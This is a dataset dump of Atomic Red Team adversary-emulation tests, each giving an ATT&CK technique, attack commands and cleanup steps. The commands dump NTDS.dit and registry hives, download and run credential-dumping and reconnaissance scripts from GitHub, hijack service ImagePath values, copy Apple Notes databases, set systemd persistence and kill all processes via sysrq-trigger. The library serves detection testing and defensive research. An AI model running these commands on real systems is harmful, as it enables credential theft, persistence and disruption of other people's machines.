deardaniel/secdata-raw huggingface dataset:
Atomic Red Team — T1003.003: OS Credential Dumping: NTDS
Test: Copy NTDS in low level NTFS acquisition via fsutil
Platforms: windows
Executor: powershell

Description:
This test is intended to be run on a domain Controller.

UnderlayCopy is a PowerShell utility for low-level NTFS acquisition and dumping protected, locked system artifacts (for example: SAM, SYSTEM, NTDS.dit, registry hives, and other files that are normally inaccessible while Windows is running).


Command:
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR #{script_url} -UseBasicParsing)
Underlay-Copy -Mode Metadata -SourceFile C:\Windows\NTDS\ntds.dit -DestinationFile #{extract_path}\ntds.dit
Underlay-Copy -Mode Metadata -SourceFile C:\Windows\System32\config\SYSTEM -DestinationFile #{extract_path}\SYSTEM_HIVE


Cleanup:
remove-item "#{extract_path}\ntds.dit" -force -erroraction silentlycontinue
remove-item "#{extract_path}\SYSTEM_HIVE" -force -erroraction silentlycontinue
Atomic Red Team — T1127: Trusted Developer Utilities Proxy Execution
Test: Lolbin Jsc.exe compile javascript to exe
Platforms: windows
Executor: command_prompt

Description:
Use jsc.exe to compile javascript code stored in scriptfile.js and output scriptfile.exe.
https://lolbas-project.github.io/lolbas/Binaries/Jsc/
https://www.phpied.com/make-your-javascript-a-windows-exe/


Command:
copy "#{filename}" %TEMP%\hello.js
#{jscpath}\#{jscname} %TEMP%\hello.js


Cleanup:
del %TEMP%\hello.js
del %TEMP%\hello.exe


Dependencies:
JavaScript code file must exist on disk at specified location (#{filename})
Atomic Red Team — T1127: Trusted Developer Utilities Proxy Execution
Test: Lolbin Jsc.exe compile javascript to dll
Platforms: windows
Executor: command_prompt

Description:
Use jsc.exe to compile javascript code stored in Library.js and output Library.dll.
https://lolbas-project.github.io/lolbas/Binaries/Jsc/
https://www.phpied.com/make-your-javascript-a-windows-exe/


Command:
copy "#{filename}" %TEMP%\LibHello.js
#{jscpath}\#{jscname} /t:library %TEMP%\LibHello.js


Cleanup:
del %TEMP%\LibHello.js
del %TEMP%\LibHello.dll


Dependencies:
JavaScript code file must exist on disk at specified location (#{filename})
Atomic Red Team — T1098.004: SSH Authorized Keys
Test: Modify SSH Authorized Keys
Platforms: linux, macos
Executor: sh

Description:
Modify contents of <user-home>/.ssh/authorized_keys to maintain persistence on victim host. 
If the user is able to save the same contents in the authorized_keys file, it shows user can modify the file.


Command:
if [ -f ~/.ssh/authorized_keys ]; then ssh_authorized_keys=$(cat ~/.ssh/authorized_keys); echo "$ssh_authorized_keys" > ~/.ssh/authorized_keys; fi;


Cleanup:
unset ssh_authorized_keys
Atomic Red Team — T1574.011: Hijack Execution Flow: Services Registry Permissions Weakness
Test: Service Registry Permissions Weakness
Platforms: windows
Executor: powershell

Description:
Service registry permissions weakness check and then which can lead to privilege escalation with ImagePath. eg.
reg add "HKLM\SYSTEM\CurrentControlSet\Services\#{weak_service_name}" /f /v ImagePath /d "C:\temp\AtomicRedteam.exe"


Command:
get-acl REGISTRY::HKLM\SYSTEM\CurrentControlSet\Services\* |FL
get-acl REGISTRY::HKLM\SYSTEM\CurrentControlSet\Services\#{weak_service_name} |FL
Atomic Red Team — T1574.011: Hijack Execution Flow: Services Registry Permissions Weakness
Test: Service ImagePath Change with reg.exe
Platforms: windows
Executor: command_prompt

Description:
Change Service registry ImagePath of a bengin service to a malicious file


Command:
reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\#{weak_service_name}" /f /v ImagePath /d "#{malicious_service_path}"


Cleanup:
sc.exe delete #{weak_service_name}


Dependencies:
The service must exist (#{weak_service_name})
Atomic Red Team — T1555.004: Credentials from Password Stores: Windows Credential Manager
Test: Access Saved Credentials via VaultCmd
Platforms: windows
Executor: command_prompt

Description:
List credentials currently stored in Windows Credential Manager via the native Windows utility vaultcmd.exe
Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos
https://blog.malwarebytes.com/101/2016/01/the-windows-vaults/
https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16


Command:
vaultcmd /listcreds:"Windows Credentials"
Atomic Red Team — T1555.004: Credentials from Password Stores: Windows Credential Manager
Test: WinPwn - Loot local Credentials - Invoke-WCMDump
Platforms: windows
Executor: powershell

Description:
Loot local Credentials - Invoke-WCMDump technique via function of WinPwn

Command:
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/obfuscatedps/DumpWCM.ps1')
Invoke-WCMDump
Atomic Red Team — T1005: Data from Local System
Test: Search files of interest and save them to a single zip file (Windows)
Platforms: windows
Executor: powershell

Description:
This test searches for files of certain extensions and saves them to a single zip file prior to extraction.                              


Command:
$startingDirectory = "#{starting_directory}"
$outputZip = "#{output_zip_folder_path}"
$fileExtensionsString = "#{file_extensions}" 
$fileExtensions = $fileExtensionsString -split ", "

New-Item -Type Directory $outputZip -ErrorAction Ignore -Force | Out-Null

Function Search-Files {
  param (
    [string]$directory
  )
  $files = Get-ChildItem -Path $directory -File -Recurse | Where-Object {
    $fileExtensions -contains $_.Extension.ToLower()
  }
  return $files
}

$foundFiles = Search-Files -directory $startingDirectory
if ($foundFiles.Count -gt 0) {
  $foundFilePaths = $foundFiles.FullName
  Compress-Archive -Path $foundFilePaths -DestinationPath "$outputZip\data.zip"

  Write-Host "Zip file created: $outputZip\data.zip"
  } else {
      Write-Host "No files found with the specified ext

Cleanup:
Remove-Item -Path  $outputZip\data.zip -Force
Atomic Red Team — T1005: Data from Local System
Test: Find and dump sqlite databases (Linux)
Platforms: linux
Executor: bash

Description:
An adversary may know/assume that the user of a system uses sqlite databases which contain interest and sensitive data. In this test we download two databases and a sqlite dump script, then run a find command to find & dump the database content.


Command:
cd $HOME
curl -O #{remote_url}/art
curl -O #{remote_url}/gta.db
curl -O #{remote_url}/sqlite_dump.sh
chmod +x sqlite_dump.sh
find . ! -executable -exec bash -c 'if [[ "$(head -c 15 {} | strings)" == "SQLite format 3" ]]; then echo "{}"; ./sqlite_dump.sh {}; fi' \;


Cleanup:
rm -f $HOME/.art
rm -f $HOME/gta.db
rm -f $HOME/sqlite_dump.sh 


Dependencies:
Check if running on a Debian based machine.
Atomic Red Team — T1005: Data from Local System
Test: Copy Apple Notes database files using AppleScript
Platforms: macos
Executor: sh

Description:
This command will copy Apple Notes database files using AppleScript as seen in Atomic Stealer.


Command:
osascript -e 'tell application "Finder"' -e 'set destinationFolderPath to POSIX file "#{destination_path}"' -e 'set notesFolderPath to (path to home folder as text) & "Library:Group Containers:group.com.apple.notes:"' -e 'set notesFolder to folder notesFolderPath' -e 'set notesFiles to {file "NoteStore.sqlite", file "NoteStore.sqlite-shm", file "NoteStore.sqlite-wal"} of notesFolder' -e 'repeat with aFile in notesFiles' -e 'duplicate aFile to folder destinationFolderPath with replacing' -e 'end' -e 'end tell'

Cleanup:
rm "#{destination_path}/NoteStore.sqlite*"
Atomic Red Team — T1053.006: Scheduled Task/Job: Systemd Timers
Test: Create Systemd Service and Timer
Platforms: linux
Executor: bash

Description:
This test creates Systemd service and timer then starts and enables the Systemd timer 


Command:
echo "[Unit]" > #{path_to_systemd_service}
echo "Description=Atomic Red Team Systemd Timer Service" >> #{path_to_systemd_service}
echo "[Service]" >> #{path_to_systemd_service}
echo "Type=simple" >> #{path_to_systemd_service}
echo "ExecStart=/bin/touch /tmp/art-systemd-timer-marker" >> #{path_to_systemd_service}
echo "[Install]" >> #{path_to_systemd_service}
echo "WantedBy=multi-user.target" >> #{path_to_systemd_service}
echo "[Unit]" > #{path_to_systemd_timer}
echo "Description=Executes Atomic Red Team Systemd Timer Service" >> #{path_to_systemd_timer}
echo "Requires=#{systemd_service_name}" >> #{path_to_systemd_timer}
echo "[Timer]" >> #{path_to_systemd_timer}
echo "Unit=#{systemd_service_name}" >> #{path_to_systemd_timer}
echo "OnCalendar=*-*-* *:*:00" >> #{path_to_systemd_timer}
echo "

Cleanup:
systemctl stop #{systemd_timer_name}
systemctl disable #{systemd_timer_name}
rm #{path_to_systemd_service}
rm #{path_to_systemd_timer}
systemctl daemon-reload
Atomic Red Team — T1053.006: Scheduled Task/Job: Systemd Timers
Test: Create a user level transient systemd service and timer
Platforms: linux
Executor: sh

Description:
Schedule a user level transient task (will not survive a reboot) without having to create the .timer or .service files by using the systemd-run command. 


Command:
systemd-run --user --unit=Atomic-Red-Team --on-calendar '*:0/1' /bin/sh -c 'echo "$(date) $(whoami)" >>/tmp/log'


Cleanup:
systemctl --user stop Atomic-Red-Team.service
systemctl --user stop Atomic-Red-Team.timer
rm /tmp/log


Dependencies:
Check if systemd-run exists on the machine
Atomic Red Team — T1053.006: Scheduled Task/Job: Systemd Timers
Test: Create a system level transient systemd service and timer
Platforms: linux
Executor: sh

Description:
Schedule a system level transient task (will not survive a reboot) without having to create the .timer or .service files by using the systemd-run command. 


Command:
systemd-run --unit=Atomic-Red-Team --on-calendar '*:0/1' /bin/sh -c 'echo "$(date) $(whoami)" >>/tmp/log'


Cleanup:
systemctl stop Atomic-Red-Team.service
systemctl stop Atomic-Red-Team.timer
rm /tmp/log


Dependencies:
Check if systemd-run exists on the machine
Atomic Red Team — T1489: Service Stop
Test: Windows - Stop service using Service Controller
Platforms: windows
Executor: command_prompt

Description:
Stops a specified service using the sc.exe command. Upon execution, if the spooler service was running infomration will be displayed saying
it has changed to a state of STOP_PENDING. If the spooler service was not running "The service has not been started." will be displayed and it can be
started by running the cleanup command.


Command:
sc.exe stop #{service_name}


Cleanup:
sc.exe start #{service_name} >nul 2>&1
Atomic Red Team — T1489: Service Stop
Test: Windows - Stop service using net.exe
Platforms: windows
Executor: command_prompt

Description:
Stops a specified service using the net.exe command. Upon execution, if the service was running "The Print Spooler service was stopped successfully."
will be displayed. If the service was not running, "The Print Spooler service is not started." will be displayed and it can be
started by running the cleanup command.


Command:
net.exe stop #{service_name}


Cleanup:
net.exe start #{service_name} >nul 2>&1
Atomic Red Team — T1489: Service Stop
Test: Windows - Stop service by killing process
Platforms: windows
Executor: command_prompt

Description:
Stops a specified service killng the service's process.
This technique was used by WannaCry. Upon execution, if the spoolsv service was running "SUCCESS: The process "spoolsv.exe" with PID 2316 has been terminated."
will be displayed. If the service was not running "ERROR: The process "spoolsv.exe" not found." will be displayed and it can be
started by running the cleanup command.


Command:
taskkill.exe /f /im #{process_name}
Atomic Red Team — T1489: Service Stop
Test: Linux - Stop service using systemctl
Platforms: linux
Executor: sh

Description:
Stops a specified service using the systemctl command.
Upon execution, if the specified service was running, it will change to a state of inactive and it can be restarted by running the cleanup command.
You can list all available services with following command: "systemctl list-units --type=service"


Command:
sudo systemctl stop #{service_name}


Cleanup:
sudo systemctl start #{service_name} 2> /dev/null
Atomic Red Team — T1489: Service Stop
Test: Linux - Stop service by killing process using killall
Platforms: linux
Executor: sh

Description:
Stops a specified service by sending a SIGTERM signal to the linked process using the killall command.
Upon execution, if the service's main process was running, it will be terminated.
If the service was not running, no process will be found to kill and it can be restarted by running the cleanup command.
You can list all available services with following command: "systemctl list-units --type=service"


Command:
sudo killall -SIGTERM #{process_name}


Cleanup:
sudo systemctl start #{service_name} 2> /dev/null
Atomic Red Team — T1489: Service Stop
Test: Linux - Stop service by killing process using kill
Platforms: linux
Executor: sh

Description:
Stops a specified service by sending a SIGTERM signal to the linked process using the kill command. Upon execution, if the service's main process was running, it will be terminated.
If the service was not running, no process will be found to kill and it can be restarted by running the cleanup command.
You can list all available services with following command: "systemctl list-units --type=service"


Command:
sudo kill -SIGTERM $(pgrep #{process_name})


Cleanup:
sudo systemctl start #{service_name} 2> /dev/null
Atomic Red Team — T1489: Service Stop
Test: Linux - Stop service by killing process using pkill
Platforms: linux
Executor: sh

Description:
Stops a specified service by sending a SIGTERM signal to the linked process using pkill. This method is effective when multiple instances of the process may be running.
Upon execution, if any instances of the process were running, they will be terminated. If no instances were running, pkill will not find any processes to kill.
Stopped service can be restarted by running the cleanup command.
You can list all available services with following command: "systemctl list-units --type=service"


Command:
sudo pkill -SIGTERM #{process_pattern}


Cleanup:
sudo systemctl start #{service_name} 2> /dev/null
Atomic Red Team — T1489: Service Stop
Test: Abuse of linux magic system request key for Send a SIGTERM to all processes
Platforms: linux
Executor: bash

Description:
Adversaries with root or sufficient privileges Send a SIGTERM to all processes, except for init. By writing 'e' to /proc/sysrq-trigger, they can forced kill all processes, except for init.


Command:
echo "e" > /proc/sysrq-trigger
# T1091 - Replication Through Removable Media

## Description from ATT&CK

> Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
> 
> Mobile devices may also be used to infect PCs with malware if connected via USB.(Citation: Exploiting Smartphone USB ) This infection may be achieved using devices (Android, iOS, etc.) and, in some instances, USB charging cables.(Citation: Windows Malware Infecting Android)(Citation: iPhone Charging Cable Hack) For example, when a smartphone is connected to a system, it may appear to be mounted similar to a USB-connected disk drive. If malware that is compatible with the connected system is on the mobile device, the malware could infect the machine (especially if Autorun features are enabled).

[Source](https://attack.mitre.org/techniques/T1091)

## Atomic Tests

- [Atomic Test #1: USB Malware Spread Simulation](#atomic-test-1-usb-malware-spread-simulation)

### Atomic Test #1: USB Malware Spread Simulation

Simulates an adversary copying malware to all connected removable drives.

**Supported Platforms:** Windows

**auto_generated_guid:** `d44b7297-622c-4be8-ad88-ec40d7563c75`

#### Attack Commands: Run with `powershell`!

```powershell
$RemovableDrives=@()
$RemovableDrives = Get-WmiObject -Class Win32_LogicalDisk -filter "drivetype=2" | select-object -expandproperty DeviceID
ForEach ($Drive in $RemovableDrives)
{
write-host "Removable Drive Found:" $Drive
New-Item -Path $Drive/T1091Test1.txt -ItemType "file" -Force -Value "T1091 Test 1 has created this file to simulate malware spread to removable drives."
}
```

#### Cleanup Commands

```powershell
$RemovableDrives = Get-WmiObject -Class Win32_LogicalDisk -filter "drivetype=2" | select-object -expandproperty DeviceID
ForEach ($Drive in $RemovableDrives)
{
Remove-Item -Path $Drive\T1091Test1.txt -Force -ErrorAction Ignore
}
```
Atomic Red Team — T1091: Replication Through Removable Media
Test: USB Malware Spread Simulation
Platforms: windows
Executor: powershell

Description:
Simulates an adversary copying malware to all connected removable drives. 


Command:
$RemovableDrives=@()
$RemovableDrives = Get-WmiObject -Class Win32_LogicalDisk -filter "drivetype=2" | select-object -expandproperty DeviceID
ForEach ($Drive in $RemovableDrives)
{
write-host "Removable Drive Found:" $Drive
New-Item -Path $Drive/T1091Test1.txt -ItemType "file" -Force -Value "T1091 Test 1 has created this file to simulate malware spread to removable drives."
}


Cleanup:
$RemovableDrives = Get-WmiObject -Class Win32_LogicalDisk -filter "drivetype=2" | select-object -expandproperty DeviceID
ForEach ($Drive in $RemovableDrives)
{
Remove-Item -Path $Drive\T1091Test1.txt -Force -ErrorAction Ignore
}
Atomic Red Team — T1033: System Owner/User Discovery
Test: System Owner/User Discovery
Platforms: windows
Executor: command_prompt

Description:
Identify System owner or users on an endpoint.

Upon successful execution, cmd.exe will spawn multiple commands against a target host to identify usernames. Output will be via stdout. 
Additionally, two files will be written to disk - computers.txt and usernames.txt.


Command:
cmd.exe /C whoami
wmic useraccount get /ALL
quser /SERVER:"#{computer_name}"
quser
qwinsta.exe /server:#{computer_name}
qwinsta.exe
for /F "tokens=1,2" %i in ('qwinsta /server:#{computer_name} ^| findstr "Active Disc"') do @echo %i | find /v "#" | find /v "console" || echo %j > computers.txt
@FOR /F %n in (computers.txt) DO @FOR /F "tokens=1,2" %i in ('qwinsta /server:%n ^| findstr "Active Disc"') do @echo %i | find /v "#" | find /v "console" || echo %j > usernames.txt
Atomic Red Team — T1033: System Owner/User Discovery
Test: System Owner/User Discovery
Platforms: linux, macos
Executor: sh

Description:
Identify System owner or users on an endpoint

Upon successful execution, sh will stdout list of usernames.


Command:
users
w
who
Atomic Red Team — T1033: System Owner/User Discovery
Test: Find computers where user has session - Stealth mode (PowerView)
Platforms: windows
Executor: powershell

Description:
Find existing user session on other computers. Upon execution, information about any sessions discovered will be displayed.

Command:
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Invoke-UserHunter -Stealth -Verbose
Atomic Red Team — T1033: System Owner/User Discovery
Test: User Discovery With Env Vars PowerShell Script
Platforms: windows
Executor: powershell

Description:
Use the PowerShell environment variables to identify the current logged user.

Command:
[System.Environment]::UserName | Out-File -FilePath .\CurrentactiveUser.txt 
$env:UserName | Out-File -FilePath .\CurrentactiveUser.txt -Append


Cleanup:
Remove-Item -Path .\CurrentactiveUser.txt -Force
Atomic Red Team — T1033: System Owner/User Discovery
Test: GetCurrent User with PowerShell Script
Platforms: windows
Executor: powershell

Description:
Use the PowerShell "GetCurrent" method of the WindowsIdentity .NET class to identify the logged user.

Command:
[System.Security.Principal.WindowsIdentity]::GetCurrent() | Out-File -FilePath .\CurrentUserObject.txt


Cleanup:
Remove-Item -Path .\CurrentUserObject.txt -Force
Atomic Red Team — T1033: System Owner/User Discovery
Test: System Discovery - SocGholish whoami
Platforms: windows
Executor: powershell

Description:
SocGholish performs whoami discovery commands and outputs the results to a tmp file. 
The test will generate a filename similar to the random one generated during execution and write the file to AppData\Temp.

Reference: https://redcanary.com/threat-detection-report/threats/socgholish/


Command:
$TokenSet = @{
  U = [Char[]]'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
  N = [Char[]]'[PII_REDACTED]'
}
$Upper = Get-Random -Count 5 -InputObject $TokenSet.U
$Number = Get-Random -Count 5 -InputObject $TokenSet.N
$StringSet = $Upper + $Number
$rad = (Get-Random -Count 5 -InputObject $StringSet) -join ''
$file = "rad" + $rad + ".tmp"

whoami.exe /all >> #{output_path}\$file


Cleanup:
Remove-Item -Path #{output_path}\rad*.tmp -Force
Atomic Red Team — T1033: System Owner/User Discovery
Test: System Owner/User Discovery Using Command Prompt
Platforms: windows
Executor: command_prompt

Description:
Identify the system owner or current user using native Windows command prompt utilities.

Command:
set file=#{output_file_path}\user_info_%random%.tmp
echo Username: %USERNAME% > %file%
echo User Domain: %USERDOMAIN% >> %file%
net users >> %file%
query user >> %file%


Cleanup:
del #{output_file_path}\\user_info_*.tmp
Atomic Red Team — T1090.003: Proxy: Multi-hop Proxy
Test: Psiphon
Platforms: windows
Executor: powershell

Description:
Psiphon 3 is a circumvention tool from Psiphon Inc. that utilizes VPN, SSH and HTTP Proxy technology to provide you
with uncensored access to Internet.
This process will launch Psiphon 3 and establish a connection. Shortly after it will be shut down via process kill commands.
More information can be found about Psiphon using the following urls
http://s3.amazonaws.com/0ubz-2q11-gi9y/en.html
https://psiphon.ca/faq.html


Command:
& "PathToAtomicsFolder\T1090.003\src\Psiphon.bat"


Cleanup:
$Proxy = Get-Content $env:Temp\proxy-backup.txt -ErrorAction Ignore
if($null -ne $Proxy) 
{Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings' -Name "ProxyServer" -Value $Proxy}


Dependencies:
The proxy settings backup file must exist on disk at $env:Temp\proxy-backup.txt

The Psiphon executable must exist in the Downloads folder

Batch file containing commands to run must be in src directory
Atomic Red Team — T1090.003: Proxy: Multi-hop Proxy
Test: Tor Proxy Usage - Windows
Platforms: windows
Executor: powershell

Description:
This test is designed to launch the tor proxy service, which is what is utilized in the background by the Tor Browser and other applications with add-ons in order to provide onion routing functionality.
Upon successful execution, the tor proxy will be launched, run for 60 seconds, and then exit. 


Command:
invoke-expression 'cmd /c start powershell -Command {cmd /c "#{TorExe}"}'
sleep -s 60
stop-process -name "tor" | out-null


Dependencies:
tor.exe must be installed on the machine